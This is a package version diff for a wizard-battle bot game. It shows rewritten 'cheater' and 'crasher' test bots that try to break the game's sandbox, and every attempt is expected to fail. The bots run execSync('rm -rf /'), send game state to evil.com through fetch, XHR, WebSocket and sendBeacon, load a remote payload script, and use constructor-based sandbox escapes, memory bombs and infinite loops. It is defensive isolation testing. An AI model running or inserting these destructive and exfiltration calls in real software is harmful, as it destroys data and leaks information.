@vibemancer/core 0.1.3 → 0.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (74) hide show
  1. package/README.md +2 -2
  2. package/dist/chunk-W7HWJFQ4.js +10599 -0
  3. package/dist/chunk-W7HWJFQ4.js.map +1 -0
  4. package/dist/index-browser.d.ts +1300 -1051
  5. package/dist/index-browser.js +55 -17
  6. package/dist/index.d.ts +53 -3
  7. package/dist/index.js +200 -54
  8. package/dist/index.js.map +1 -1
  9. package/package.json +21 -15
  10. package/src/bots/Hero.ts +867 -0
  11. package/src/bots/berserker/01_Stormchaser.ts +162 -120
  12. package/src/bots/berserker/02_Stormcaller.ts +160 -116
  13. package/src/bots/berserker/03_Stormforger.ts +162 -129
  14. package/src/bots/caster/01_Flamecaller.ts +126 -84
  15. package/src/bots/caster/02_Pyromancer.ts +148 -101
  16. package/src/bots/caster/03_Infernalist.ts +180 -160
  17. package/src/bots/defensive/01_Turtle.ts +48 -44
  18. package/src/bots/defensive/02_Sentinel.ts +57 -53
  19. package/src/bots/defensive/03_Golem.ts +85 -97
  20. package/src/bots/duelist/01_Battlemage.ts +157 -122
  21. package/src/bots/duelist/02_Warmage.ts +166 -121
  22. package/src/bots/duelist/03_Archmage.ts +198 -178
  23. package/src/bots/homing/01_Bonemancer.ts +20 -32
  24. package/src/bots/homing/02_Lich.ts +145 -93
  25. package/src/bots/homing/03_Archlich.ts +129 -60
  26. package/src/bots/kiter/01_Spellspinner.ts +145 -107
  27. package/src/bots/kiter/02_Spellweaver.ts +153 -105
  28. package/src/bots/kiter/03_Spellbinder.ts +168 -123
  29. package/src/bots/melee/01_Shadowblade.ts +131 -75
  30. package/src/bots/melee/02_Nightblade.ts +174 -130
  31. package/src/bots/melee/03_Voidblade.ts +266 -168
  32. package/src/bots/registry.ts +44 -37
  33. package/src/bots/shared.ts +185 -25
  34. package/src/bots/sniper/01_Spellshot.ts +151 -98
  35. package/src/bots/sniper/02_Spelltracer.ts +173 -128
  36. package/src/bots/sniper/03_Spellseeker.ts +177 -152
  37. package/src/bots/standalone/Critter.ts +46 -52
  38. package/src/bots/standalone/Doombringer.ts +36 -40
  39. package/src/bots/standalone/Hogger.ts +120 -89
  40. package/src/bots/standalone/Rookie.ts +21 -23
  41. package/src/bots/standalone/TargetDummy.ts +5 -6
  42. package/src/bots/test/cheater.ts +91 -85
  43. package/src/bots/test/crasher.ts +26 -28
  44. package/src/engine/bundle-fight.ts +242 -0
  45. package/src/engine/hooks-runtime.ts +58 -18
  46. package/src/engine/manual-match.ts +33 -25
  47. package/src/engine/missile-templates.ts +25 -43
  48. package/src/engine/optimizer.ts +7 -7
  49. package/src/engine/params-runtime.ts +3 -3
  50. package/src/engine/physics.ts +33 -23
  51. package/src/engine/sandbox-browser.ts +8 -7
  52. package/src/engine/sandbox-compile.ts +1 -1
  53. package/src/engine/sandbox-harness.ts +299 -367
  54. package/src/engine/sandbox.ts +3 -3
  55. package/src/engine/simulation.ts +291 -76
  56. package/src/engine/spells.ts +9 -12
  57. package/src/engine-version.ts +1 -1
  58. package/src/hooks/action-builders.ts +76 -21
  59. package/src/hooks/index.ts +17 -9
  60. package/src/hooks/state-hooks.ts +61 -25
  61. package/src/hooks/threat-analysis.ts +44 -20
  62. package/src/hooks/types.ts +62 -5
  63. package/src/index.ts +2 -0
  64. package/src/rules.ts +209 -63
  65. package/src/stats.ts +2 -2
  66. package/src/testing.ts +6 -30
  67. package/src/trace.ts +63 -3
  68. package/src/types.ts +127 -14
  69. package/src/utils/angles.ts +1 -0
  70. package/src/utils/combat.ts +98 -6
  71. package/src/utils/spatial.ts +3 -3
  72. package/dist/chunk-B7YYYBEC.js +0 -9140
  73. package/dist/chunk-B7YYYBEC.js.map +0 -1
  74. package/src/hooks/bot-wrapper.ts +0 -84
@@ -15,16 +15,17 @@
15
15
  * - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
16
16
  */
17
17
 
18
- import type {WizardFunction} from '../../types.js';
18
+ import type {FinalAction} from '../../hooks/types.js';
19
+ import {idle, useHealth, usePosition, getWizardContext} from '../../hooks/index.js';
19
20
 
20
21
  /**
21
22
  * Attempts to modify built-in prototypes to sabotage the other bot.
22
23
  * With prototype freezing enabled, these assignments should silently fail
23
24
  * (or throw in strict mode), and the match should proceed normally.
24
25
  */
25
- export const CheaterPrototypePollution: WizardFunction = (_props) =>
26
+ export function CheaterPrototypePollution(): FinalAction
26
27
  {
27
- try
28
+ try
28
29
  {
29
30
  // Try to sabotage Array methods used by the other bot
30
31
  (Array.prototype as any).map = () => [];
@@ -39,159 +40,162 @@ export const CheaterPrototypePollution: WizardFunction = (_props) =>
39
40
  (Math as any).sqrt = () => 0;
40
41
  (Math as any).atan2 = () => 0;
41
42
  }
42
- catch
43
+ catch
43
44
  {
44
45
  // Frozen prototypes will throw in strict mode — that's expected
45
46
  }
46
47
 
47
- return {move: {x: 0, y: 0}};
48
- };
48
+ return idle();
49
+ }
49
50
 
50
51
  /**
51
52
  * Attempts to mutate the game state object passed to it, hoping to corrupt
52
53
  * the simulation. With proper state views (copies), mutations should have
53
54
  * no effect on the actual simulation state.
54
55
  */
55
- export const CheaterStateCorruption: WizardFunction = ({state}) =>
56
+ export function CheaterStateCorruption(): FinalAction
56
57
  {
57
- try
58
+ try
58
59
  {
60
+ // Access state through hooks/context and try to corrupt it
61
+ const ctx = getWizardContext() as any;
62
+
59
63
  // Try to give ourselves infinite health
60
- (state as any).health = 999999;
61
- (state as any).maxHealth = 999999;
64
+ ctx.health = 999999;
65
+ ctx.maxHealth = 999999;
62
66
 
63
67
  // Try to kill enemies by modifying their state
64
- for (const enemy of state.enemies)
68
+ for (const enemy of ctx.enemies)
65
69
  {
66
- (enemy as any).health = 0;
67
- (enemy as any).position = {x: -9999, y: -9999};
70
+ enemy.health = 0;
71
+ enemy.position = {x: -9999, y: -9999};
68
72
  }
69
73
 
70
74
  // Try to delete all enemy projectiles
71
- for (const proj of state.projectiles)
75
+ for (const proj of ctx.projectiles)
72
76
  {
73
- (proj as any).damage = 0;
74
- (proj as any).remainingTicks = 0;
77
+ proj.damage = 0;
78
+ proj.remainingTicks = 0;
75
79
  }
76
80
 
77
81
  // Try to modify the position directly
78
- state.position.x = 400;
79
- state.position.y = 400;
82
+ ctx.position.x = 400;
83
+ ctx.position.y = 400;
80
84
  }
81
- catch
85
+ catch
82
86
  {
83
87
  // Expected if state is frozen
84
88
  }
85
89
 
86
- return {move: {x: 0, y: 0}};
87
- };
90
+ return idle();
91
+ }
88
92
 
89
93
  /**
90
94
  * Attempts to access Node.js APIs that should not be available in the sandbox.
91
95
  * With esbuild platform: 'neutral', these should all be undefined or throw.
92
96
  */
93
- export const CheaterNodeAccess: WizardFunction = (_props) =>
97
+ export function CheaterNodeAccess(): FinalAction
94
98
  {
95
- try
99
+ try
96
100
  {
97
101
  // Try to access filesystem
98
102
  const fs = (globalThis as any).require?.('fs');
99
103
  fs?.writeFileSync?.('/tmp/hacked', 'pwned');
100
104
  }
101
- catch
105
+ catch
102
106
  {
103
107
  /* expected */
104
108
  }
105
109
 
106
- try
110
+ try
107
111
  {
108
112
  // Try to access process
109
113
  const proc = (globalThis as any).process;
110
114
  proc?.exit?.(1);
111
115
  }
112
- catch
116
+ catch
113
117
  {
114
118
  /* expected */
115
119
  }
116
120
 
117
- try
121
+ try
118
122
  {
119
123
  // Try to spawn child process
120
124
  const cp = (globalThis as any).require?.('child_process');
121
125
  cp?.execSync?.('rm -rf /');
122
126
  }
123
- catch
127
+ catch
124
128
  {
125
129
  /* expected */
126
130
  }
127
131
 
128
- try
132
+ try
129
133
  {
130
134
  // Try to access network
131
135
  const net = (globalThis as any).require?.('net');
132
136
  net?.createConnection?.({host: 'evil.com', port: 80});
133
137
  }
134
- catch
138
+ catch
135
139
  {
136
140
  /* expected */
137
141
  }
138
142
 
139
- return {move: {x: 0, y: 0}};
140
- };
143
+ return idle();
144
+ }
141
145
 
142
146
  /**
143
147
  * Attempts to escape the sandbox using known V8/JavaScript escape techniques.
144
148
  * These should all fail within isolated-vm.
145
149
  */
146
- export const CheaterSandboxEscape: WizardFunction = (_props) =>
150
+ export function CheaterSandboxEscape(): FinalAction
147
151
  {
148
- try
152
+ try
149
153
  {
150
154
  // Classic sandbox escape: constructor.constructor to get Function constructor
151
155
  const fn = {}.constructor.constructor('return this')();
152
156
  // If this works, fn would be the global object outside the sandbox
153
157
  (fn as any)?.process?.exit?.(1);
154
158
  }
155
- catch
159
+ catch
156
160
  {
157
161
  /* expected */
158
162
  }
159
163
 
160
- try
164
+ try
161
165
  {
162
166
  // Try to access the global scope via Function
163
167
  const global = Function('return this')();
164
168
  (global as any)?.process?.exit?.(1);
165
169
  }
166
- catch
170
+ catch
167
171
  {
168
172
  /* expected */
169
173
  }
170
174
 
171
- try
175
+ try
172
176
  {
173
177
  // Try eval-based escape
174
178
  const result = eval('globalThis.process');
175
179
  (result as any)?.exit?.(1);
176
180
  }
177
- catch
181
+ catch
178
182
  {
179
183
  /* expected */
180
184
  }
181
185
 
182
- try
186
+ try
183
187
  {
184
188
  // Try to access import.meta (might leak host info)
185
189
  const meta = import.meta as any;
186
190
  meta?.url; // Should just be undefined or sandboxed
187
191
  }
188
- catch
192
+ catch
189
193
  {
190
194
  /* expected */
191
195
  }
192
196
 
193
- return {move: {x: 0, y: 0}};
194
- };
197
+ return idle();
198
+ }
195
199
 
196
200
  // ============================================================================
197
201
  // IO / NETWORK CHEATER BOTS
@@ -203,150 +207,152 @@ export const CheaterSandboxEscape: WizardFunction = (_props) =>
203
207
  * If any succeeds, it would be a security vulnerability — bot code could
204
208
  * exfiltrate game state, load external code, or communicate with C2 servers.
205
209
  */
206
- export const CheaterNetworkIO: WizardFunction = ({state}) =>
210
+ export function CheaterNetworkIO(): FinalAction
207
211
  {
208
212
  const g = globalThis as any;
213
+ const health = useHealth();
209
214
 
210
215
  // --- fetch ---
211
- try
216
+ try
212
217
  {
213
- const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
218
+ const result = g.fetch?.('https://evil.com/exfil?hp=' + health);
214
219
  // If fetch exists and returns a promise, that's a breach
215
- if (result && typeof result.then === 'function')
220
+ if (result && typeof result.then === 'function')
216
221
  {
217
222
  // Should never reach here
218
223
  }
219
224
  }
220
- catch
225
+ catch
221
226
  {
222
227
  /* expected */
223
228
  }
224
229
 
225
230
  // --- XMLHttpRequest ---
226
- try
231
+ try
227
232
  {
228
233
  const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
229
234
  xhr?.open?.('POST', 'https://evil.com/exfil');
235
+ const pos = usePosition();
230
236
  xhr?.send?.(
231
- JSON.stringify({health: state.health, position: state.position}),
237
+ JSON.stringify({health, position: pos}),
232
238
  );
233
239
  }
234
- catch
240
+ catch
235
241
  {
236
242
  /* expected */
237
243
  }
238
244
 
239
245
  // --- WebSocket ---
240
- try
246
+ try
241
247
  {
242
248
  const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
243
249
  ws?.send?.('connected');
244
250
  }
245
- catch
251
+ catch
246
252
  {
247
253
  /* expected */
248
254
  }
249
255
 
250
256
  // --- EventSource (Server-Sent Events) ---
251
- try
257
+ try
252
258
  {
253
259
  const es = g.EventSource
254
260
  ? new g.EventSource('https://evil.com/commands')
255
261
  : null;
256
262
  es?.close?.();
257
263
  }
258
- catch
264
+ catch
259
265
  {
260
266
  /* expected */
261
267
  }
262
268
 
263
269
  // --- navigator.sendBeacon ---
264
- try
270
+ try
265
271
  {
266
272
  g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
267
273
  }
268
- catch
274
+ catch
269
275
  {
270
276
  /* expected */
271
277
  }
272
278
 
273
- return {move: {x: 0, y: 0}};
274
- };
279
+ return idle();
280
+ }
275
281
 
276
282
  /**
277
283
  * Attempts to inject external scripts or create sub-workers to bypass sandbox.
278
284
  * importScripts can load and execute arbitrary JS from any URL.
279
285
  * Worker/SharedWorker can spawn new contexts without IO restrictions.
280
286
  */
281
- export const CheaterScriptInjection: WizardFunction = (_props) =>
287
+ export function CheaterScriptInjection(): FinalAction
282
288
  {
283
289
  const g = globalThis as any;
284
290
 
285
291
  // --- importScripts (Web Worker API: loads & executes external JS) ---
286
- try
292
+ try
287
293
  {
288
294
  g.importScripts?.('https://cdn.evil.com/payload.js');
289
295
  }
290
- catch
296
+ catch
291
297
  {
292
298
  /* expected */
293
299
  }
294
300
 
295
301
  // --- Worker (create sub-worker to bypass restrictions) ---
296
- try
302
+ try
297
303
  {
298
304
  const w = g.Worker
299
305
  ? new g.Worker('data:text/javascript,fetch("https://evil.com")')
300
306
  : null;
301
307
  w?.terminate?.();
302
308
  }
303
- catch
309
+ catch
304
310
  {
305
311
  /* expected */
306
312
  }
307
313
 
308
314
  // --- SharedWorker ---
309
- try
315
+ try
310
316
  {
311
317
  const sw = g.SharedWorker
312
318
  ? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
313
319
  : null;
314
320
  sw?.port?.close?.();
315
321
  }
316
- catch
322
+ catch
317
323
  {
318
324
  /* expected */
319
325
  }
320
326
 
321
327
  // --- Reconstruct fetch via Request/Response ---
322
- try
328
+ try
323
329
  {
324
330
  const req = g.Request ? new g.Request('https://evil.com/data') : null;
325
- if (req)
331
+ if (req)
326
332
  {
327
333
  // Without fetch, a Request object alone can't send anything,
328
334
  // but verify the constructor is also blocked
329
335
  }
330
336
  }
331
- catch
337
+ catch
332
338
  {
333
339
  /* expected */
334
340
  }
335
341
 
336
- return {move: {x: 0, y: 0}};
337
- };
342
+ return idle();
343
+ }
338
344
 
339
345
  /**
340
346
  * Attempts to use storage and cross-context communication APIs.
341
347
  * These could be used to persist data between matches, leak info across
342
348
  * tabs, or coordinate with external code.
343
349
  */
344
- export const CheaterStorageAndComms: WizardFunction = (_props) =>
350
+ export function CheaterStorageAndComms(): FinalAction
345
351
  {
346
352
  const g = globalThis as any;
347
353
 
348
354
  // --- BroadcastChannel (cross-tab/worker communication) ---
349
- try
355
+ try
350
356
  {
351
357
  const bc = g.BroadcastChannel
352
358
  ? new g.BroadcastChannel('exfil-channel')
@@ -354,52 +360,52 @@ export const CheaterStorageAndComms: WizardFunction = (_props) =>
354
360
  bc?.postMessage?.('secret data');
355
361
  bc?.close?.();
356
362
  }
357
- catch
363
+ catch
358
364
  {
359
365
  /* expected */
360
366
  }
361
367
 
362
368
  // --- indexedDB (persistent storage) ---
363
- try
369
+ try
364
370
  {
365
371
  const db = g.indexedDB?.open?.('exfil-db', 1);
366
- if (db)
372
+ if (db)
367
373
  {
368
374
  // If indexedDB is available, bot could store/retrieve data across matches
369
375
  }
370
376
  }
371
- catch
377
+ catch
372
378
  {
373
379
  /* expected */
374
380
  }
375
381
 
376
382
  // --- Cache API ---
377
- try
383
+ try
378
384
  {
379
385
  const cache = g.caches?.open?.('exfil-cache');
380
- if (cache && typeof cache.then === 'function')
386
+ if (cache && typeof cache.then === 'function')
381
387
  {
382
388
  // Could cache external resources for later use
383
389
  }
384
390
  }
385
- catch
391
+ catch
386
392
  {
387
393
  /* expected */
388
394
  }
389
395
 
390
396
  // --- navigator (various APIs) ---
391
- try
397
+ try
392
398
  {
393
399
  // navigator.clipboard, navigator.geolocation, etc.
394
400
  const nav = g.navigator;
395
401
  nav?.clipboard?.writeText?.('stolen data');
396
- nav?.geolocation?.getCurrentPosition?.(() =>
402
+ nav?.geolocation?.getCurrentPosition?.(() =>
397
403
  {});
398
404
  }
399
- catch
405
+ catch
400
406
  {
401
407
  /* expected */
402
408
  }
403
409
 
404
- return {move: {x: 0, y: 0}};
405
- };
410
+ return idle();
411
+ }
@@ -11,44 +11,45 @@
11
11
  * - CrasherMissileLoop: infinite loop inside missile AI
12
12
  */
13
13
 
14
- import type {MissileActions, WizardFunction} from '../../types.js';
14
+ import type {FinalAction, MissileAction} from '../../hooks/types.js';
15
+ import {usePosition, useEnemy, idle, missile} from '../../hooks/index.js';
15
16
  import {angleTo} from '../../utils/angles.js';
16
17
 
17
18
  /**
18
19
  * Enters an infinite loop immediately. Tests CPU timeout enforcement.
19
20
  */
20
- export const CrasherInfiniteLoop: WizardFunction = (_props) =>
21
+ export function CrasherInfiniteLoop(): FinalAction
21
22
  {
22
- while (true)
23
+ while (true)
23
24
  {
24
25
  // Spin forever — should be killed by isolate timeout
25
26
  }
26
- };
27
+ }
27
28
 
28
29
  /**
29
30
  * Allocates memory until the isolate runs out. Tests memory limit enforcement.
30
31
  */
31
- export const CrasherMemoryBomb: WizardFunction = (_props) =>
32
+ export function CrasherMemoryBomb(): FinalAction
32
33
  {
33
34
  const bomb: number[][] = [];
34
- while (true)
35
+ while (true)
35
36
  {
36
37
  bomb.push(new Array(1_000_000).fill(42));
37
38
  }
38
- };
39
+ }
39
40
 
40
41
  /**
41
42
  * Recurses until stack overflow. Tests stack exhaustion handling.
42
43
  */
43
- export const CrasherStackOverflow: WizardFunction = (_props) =>
44
+ export function CrasherStackOverflow(): FinalAction
44
45
  {
45
- function recurse(): number
46
+ function recurse(): number
46
47
  {
47
48
  return 1 + recurse();
48
49
  }
49
50
  recurse();
50
- return {move: {x: 0, y: 0}};
51
- };
51
+ return idle();
52
+ }
52
53
 
53
54
  /**
54
55
  * Returns a valid wizard action but with a missile AI that loops forever.
@@ -58,24 +59,21 @@ export const CrasherStackOverflow: WizardFunction = (_props) =>
58
59
  * isolate as part of simulate(). An infinite loop in missile AI will cause
59
60
  * the entire fight to timeout.
60
61
  */
61
- export const CrasherMissileLoop: WizardFunction = ({state}) =>
62
+ export function CrasherMissileLoop(): FinalAction
62
63
  {
63
- const enemy = state.enemies[0];
64
- if (!enemy) return {move: {x: 0, y: 0}};
64
+ const pos = usePosition();
65
+ const enemy = useEnemy();
66
+ if (!enemy) return idle();
65
67
 
66
- return {
67
- move: {x: 0, y: 0},
68
- startCast: {
69
- spell: 'missile',
70
- config: {damage: 10, speed: 5, turnRate: 1, duration: 100},
71
- missileAI: (): MissileActions =>
68
+ return missile(
69
+ {damage: 10, speed: 5, turnRate: 1, duration: 100},
70
+ (): MissileAction =>
71
+ {
72
+ while (true)
72
73
  {
73
- while (true)
74
- {
75
- // Spin forever inside missile AI
76
- }
77
- },
78
- direction: angleTo(state.position, enemy.position),
74
+ // Spin forever inside missile AI
75
+ }
79
76
  },
80
- };
81
- };
77
+ angleTo(pos, enemy.position),
78
+ );
79
+ }